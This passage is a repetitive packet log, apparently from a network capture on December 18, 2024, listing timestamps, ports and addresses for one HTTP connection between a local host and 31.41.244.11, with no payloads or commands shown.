Dec 18, 2024 09:07:19.604760885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.604815960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.604816914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.604852915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.604867935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.604907036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.605587959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.605638027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.605643034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.605678082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.605691910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.605765104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.606441975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.606496096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.606498003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.606529951 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.606544971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.606575012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.607456923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.607511044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.607517958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.607548952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.607563972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.607588053 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.608545065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.608603001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.608642101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.608676910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.608700037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.608726978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.609500885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.609568119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.609643936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.609679937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.609694004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.609729052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.610296965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.610356092 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.610414982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.610452890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.610470057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.610511065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.611382008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.611435890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.611460924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.611495018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.611511946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.611536980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.612066031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.612118006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.612121105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.612155914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.612170935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.612200975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.612883091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.612932920 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.612935066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.612970114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.612981081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.613019943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.613667011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.613724947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.613805056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.613841057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.613850117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.613883018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.614304066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.614355087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.614356041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.614387989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.614402056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.614437103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.615128040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.615179062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.615180969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.615216017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.615230083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.615271091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.616054058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.616106987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.616107941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.616157055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.616166115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.616206884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.616894960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.616946936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.616946936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.616981983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.616993904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.617028952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.617799997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.617861986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.617881060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.617913961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.617930889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.617965937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.618616104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.618670940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.618709087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.618743896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.618761063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.618784904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.619482040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.619534969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.619549036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.619584084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.619590998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.619632959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.620352030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.620418072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.620445967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.620479107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.620495081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.620521069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.621268034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.621320009 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.621341944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.621376991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.621404886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.621431112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.622108936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.622176886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.622384071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.622435093 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.622474909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.622509003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.622536898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.622560978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.623270035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.623344898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.623364925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.623399019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.623418093 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.623454094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.624121904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.624192953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.624245882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.624341011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.624342918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.624392986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.624984980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.625036955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.625042915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.625072002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.625092030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.625118017 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.625890017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.625941992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.625960112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.625977993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.625992060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.626030922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.626712084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.626776934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.626777887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.626812935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.626830101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.626853943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.627609968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.627665997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.627691031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.627726078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.627741098 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.627777100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.628479958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.628532887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.628535986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.628567934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.628582001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.628618002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.629347086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.629401922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.629416943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.629451990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.629471064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.629506111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.630208969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.630269051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.630326986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.630361080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.630379915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.630400896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.631122112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.631170034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.631190062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.631223917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.631238937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.631309986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.632003069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.632055044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.632064104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.632088900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.632102966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.632139921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.632822037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.632873058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.632875919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.632906914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.632921934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.632952929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.633732080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.633790970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.794831038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.794876099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.794888973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.794905901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.794922113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.794964075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.794965029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.795680046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.795733929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.795733929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.795752048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.795790911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.795865059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.796534061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.796585083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.796610117 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.796626091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.796653032 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.796686888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.797452927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.797507048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.797512054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.797528982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.797578096 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.798275948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.798338890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.798362017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.798377037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.798419952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.798419952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.799134970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.799185038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.799199104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.799215078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.799305916 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.800014019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.800062895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.800091028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.800111055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.800144911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.800144911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.800843000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.800892115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.800914049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.800929070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.800961018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.800961018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.801774025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.801830053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.801831007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.801847935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.801881075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.801881075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.802536011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.802593946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.802617073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.802632093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.802661896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.802694082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.803472996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.803524971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.803540945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.803556919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.803590059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.803590059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.804404020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.804461956 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.804466963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.804486036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.804517984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.804517984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.805227995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.805277109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.805320978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.805336952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.805366039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.805397987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.806162119 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.806219101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.806233883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.806251049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.806278944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.806310892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.807126999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.807173014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.807174921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.807190895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.807218075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.807250023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.807952881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.807977915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.807992935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.808008909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.808008909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.808043957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.808680058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.808725119 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.808739901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.808744907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.808780909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.808780909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.809549093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.809643984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.809659004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.809676886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.809721947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.810460091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.810508966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.810518980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.810534954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.810570002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.810570002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.811259985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.811311960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.811347961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.811362982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.811394930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.811395884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.812237024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.812252998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.812267065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.812294960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.812328100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.813033104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.813081026 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.813313007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.813360929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.813394070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.813409090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.813446999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.813446999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.814198017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.814243078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.814249039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.814258099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.814291000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.814291000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.815057039 CET	80	49714	31.41.244.11	192.168.2.8
